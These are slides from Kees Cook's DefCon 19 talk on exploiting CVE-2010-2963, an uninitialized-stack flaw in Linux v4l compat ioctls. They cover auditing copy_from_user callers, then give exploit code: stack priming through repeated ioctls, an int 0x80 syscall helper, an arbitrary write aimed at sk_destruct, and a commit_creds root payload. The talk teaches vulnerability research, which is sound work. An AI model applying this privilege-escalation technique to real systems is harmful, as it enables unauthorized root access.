Kernel Exploitation via Uninitialized Stack

http://people.canonical.com/~kees/defcon19/

Kees Cook
kees.cook@canonical.com
www.canonical.com
DefCon 19, August 2011
20 Minutes!

• introduction
• quick Linux kernel exploitation basics
• audit callers of copy_from_user() for mistakes
• found a flawed function, but don't have direct control?
• controlling an uninitialized stack variable
• become root
• questions
introduction
who I am, what I do

Kees Cook

- Pronounced “Case”
- @kees_cook on Twitter

DefCon Capture the Flag

- Started participating in 2003
- With Team 1@stPlace, won in 2006 and 2007
- Still play in the qualification rounds just for the fun of it

Ubuntu Security Team

- Started working for Canonical in 2006
- Responsible for keeping Ubuntu as safe as possible
- Enjoyed getting compiler hardening into shape
- Now focusing on kernel hardening
quick Linux kernel exploitation basics
key to kernel exploitation is the arbitrary write

Control kernel memory

- Kernel determines permissions

Credentials

- Change your process's UID to 0

Fun bit is finding the targets

- Hunt through kernel memory
- Global functions, variables
there is an extensive list of potential targets and triggers

Function tables!

- struct security_operations global pointer: security_ops
  include/linux/security.h
  easy offset to “ptrace_access_check”, but requires a little clean-up

- System-wide IDT
  Attacking the Core: http://www.phrack.org/issues.html?issue=64&id=6
  requires handling interrupt mode

- single, isolated struct sock
  sk_destruct called on close()
  easy to find in memory via /proc/net/tcp
but you need to find a flaw first

Everything is a theory until you find a flaw

- Using a flaw tends to be easy
- Finding a flaw tends to be harder

Interface boundaries

- Switches from userspace to ring0
- Changes in privilege levels
audit callers of copy_from_user() for mistakes
there are a lot of `copy_from_user()` callers

3893 to be exact

- `git grep copy_from_user | wc -l`

Need to find unsafe uses

- Length isn't checked correctly
- Source isn't checked correctly
- Destination isn't checked correctly
advanced static analysis?
nah, just use grep

Regular expressions
• Can get you most of the way, very quickly

Unchecked copy_from_user
• __copy_from_user() without access_ok()  
• Very few callers  
• Intel DRM (CVE-2010-2962, me)  
• RDS (CVE-2010-3904, Dan Rosenberg)

Okay, slightly advanced static analysis: Coccinelle
• http://coccinelle.lip6.fr/  
• “Semantic Patch”, but I use it as “Semantic Grep”
semantic grep example

@cfu@
position p;
@@
copy_from_user@p(...)

Whitelist Patterns
...
...

@depends on (!cfu_simple and ...)@position cfu.p;
@@
* copy_from_user@p(...)

First

@cfu_simple@
position cfu.p;
expression f;
identifier e;
@@
( copy_from_user@p(&e, f, sizeof(e))
| copy_from_user@p(e, f, sizeof(*e))
)
...
...

Final
focus on areas that do not get a lot of usage/users

Rare network protocols

- SCTP
- RDS

Interfaces with few consumers

- Video DRM: mostly just Xorg
- Network diagnostics: handful of debugging tools
- New syscalls
- Compat
compat (64bit to 32bit, API versions) has had lots of bugs

Syscall Compat
- Not clearing high portion of register used for jump table lookup
- CVE-2007-4573 and CVE-2010-3301

API Compat
- Extremely few users
- CVE-2010-2963, code had 0 users, in fact

Generally
- Just look at Mitre for some history
- http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=kernel+compat
found a flawed function, but don't have direct control?
CVE-2010-2963 is a great example in the v4l compat functions

```c
static int get_microcode32(struct video_code *kp, struct video_code32 __user *up) {
    if (!access_ok(VERIFY_READ, up, sizeof(struct video_code32)) ||
        copy_from_user(kp->loadwhat, up->loadwhat, sizeof(up->loadwhat)) ||
        get_user(kp->datasize, &up->datasize) ||
        copy_from_user(kp->data, up->data, up->datasize))
        return -EFAULT;
    return 0;
}

static long do_video_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
    union {
        struct video_tuner vt;
        struct video_code vc;
        ...
    } karg;
    void __user *up = compat_ptr(arg);
    ...
    switch (cmd) {
    ...
    case VIDIOCSMICROCODE:
        err = get_microcode32(&karg.vc, up);
    ...
```
kernel exploitation via uninitialized stack

unchecked copy_from_user() from uninitialized address on stack

karg contents uninitialized
• But “uninitialized” really means “filled with memory from before”

karg lives on the stack
• What went there before?

the build didn't bother to emit warnings
• Compiler assumes we meant to do that
controlling an uninitialized stack variable
find an overlapping function or call path

How about the same ioctl?

- same call path
- at least the same stack size

```c
static long do_video_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
  union {
    struct video_tuner vt;
    struct video_code vc;
  } karg;
  void __user *up = compat_ptr(arg);

  switch (cmd) {
    ...
    case VIDIOCSTUNER:
    case VIDIOCGTUNER:
      err = get_video_tuner32(&karg.vt, up);
    ...
  }
}
```
examine offsets and alignments of the on-stack variables

```
struct video_code32 {
    char             loadwhat[16];
    compat_int_t     datasize;
    /* 4 bytes of compiler-added padding here */
    unsigned char *  data;       /* 24 bytes to pointer */
};

...  

struct video_tuner32 {
    compat_int_t    tuner;
    char           name[32];    /* 4 bytes from start of struct */
    compat_ulong_t  rangelow, rangehigh;
    u32            flags;      /* It is really u32 in videodev.h */
    u16            mode, signal;
};
```
Kernel Exploitation Via Uninitialized Stack

**Diagram:**
- Top: Saved junk before ioctl
  - karg, after VIDIOCSTUNER:
    - tuner
    - name[32]
  - Other locals...
- Bottom: Saved junk before ioctl
  - karg, entering VIDIOCSMICROCODE:
    - loadwhat[16]
    - datasmall
    - padding
    - data
  - Other locals...

---

*Diagram Source:* Kernel Exploitation Via Uninitialized Stack by Kees Cook
arrange stack with the values you need via careful invocation

datasize and data for source are used directly

- No special tricks needed:

```c
vc->datasize = length;
vc->data = source;
```

data pointer for destination needs to be overlapped and left on stack

```c
uint64_t *ptr = (uint64_t*)(&(tuner->name[20]));
*ptr = destination;
```
prime the page tables to keep extra things off the stack

Kernel stack is used by everything in the process
- Doing memory access to page stuff into memory?
- Added a printf() to aid debugging?

Any work between or in syscalls may trigger further kernel stack work
- Avoid syscall wrappers (libc)
- Avoid calling the interface for the first time

In this case, we must call 32bit syscall from 64bit userspace
- Use int 0x80
- Write some assembly
unsigned int syscall32(unsigned int syscall, unsigned int arg1, 
    unsigned int arg2, unsigned int arg3)
{
    unsigned int rc;
    asm volatile("movl %1, %%ebx;\n"
               "movl %2, %%ecx;\n"
               "movl %3, %%edx;\n"
               "movl %4, %%eax;\n"
               "int $0x80;\n"
               "movl %%eax, %0;\n"
               : "=g"(rc) /* output */
               : "g"(arg1), "g"(arg2), "g"(arg3), "g"(syscall) /* input */
               : "%eax", "%ebx", "%ecx", "%edx"/* clobbered registers */ );
    return rc;
}
... and write arbitrarily

```c
// beat memory into the stack...
code = 0x40347605; // VIDIOCSTUNER
syscall32(IOCTL_SYSCALL, (unsigned int)dev, code, 
    (unsigned int)(uintptr_t)tuner);
syscall32(IOCTL_SYSCALL, (unsigned int)dev, code, 
    (unsigned int)(uintptr_t)tuner);
syscall32(IOCTL_SYSCALL, (unsigned int)dev, code, 
    (unsigned int)(uintptr_t)tuner);
syscall32(IOCTL_SYSCALL, (unsigned int)dev, code, 
    (unsigned int)(uintptr_t)tuner);

/* VIDIOCSMICROCODE32, 
   the badly constructed VIDIOCSMICROCODE */
code = 0x4020761b;
syscall32(IOCTL_SYSCALL, (unsigned int)dev, code, 
    (unsigned int)(uintptr_t)vc);
```
become root
aim arbitrary write at target

Use struct sock exploit method from Dan Rosenberg's code

- open a TCP socket
- Look up where the socket is in kernel memory from /proc/net/tcp
- target the sk_destruct function pointer
  (find it with “offsetof(struct sock, sk_destruct)”)
- kptr_restrict now blocks /proc/net/tcp
  (but INET_DIAG netlink is still leaks these addresses)

$ cat /proc/net/tcp | grep 7A69
  9: 00000000:7A69 00000000:0000 0A 00000000:00000000 00:00000000 00:00000000 00000000 1000 0 2087721 1 fff88011c972d80 300 0 0 2 -1
create a payload

Use prepare/set cred payload method from Brad Spengler's Enlightenment code

- Look up kernel addresses for needed functions
- Call them to reset credentials to uid 0

```c
commit_creds = ((__commit_creds)get_kernel_sym("commit_creds");
prepare_kernel_cred = ((__prepare_kernel_cred)
                      get_kernel_sym("prepare_kernel_cred");
...

int __attribute__((regparm(3)))
getroot(void * file, void * vma)
{
    commit_creds(prepare_kernel_cred(0));
    return -1;
}
```
trigger the target

Just close the socket

• Boom

Enjoy ring0

• Kernel cleans up for you
Demo

Follow along!

- http://people.canonical.com/~kees/defcon19/vyakarana.c
Questions please
Thank you

Kees Cook
kees.cook@canonical.com
www.canonical.com
DefCon 19, August 2011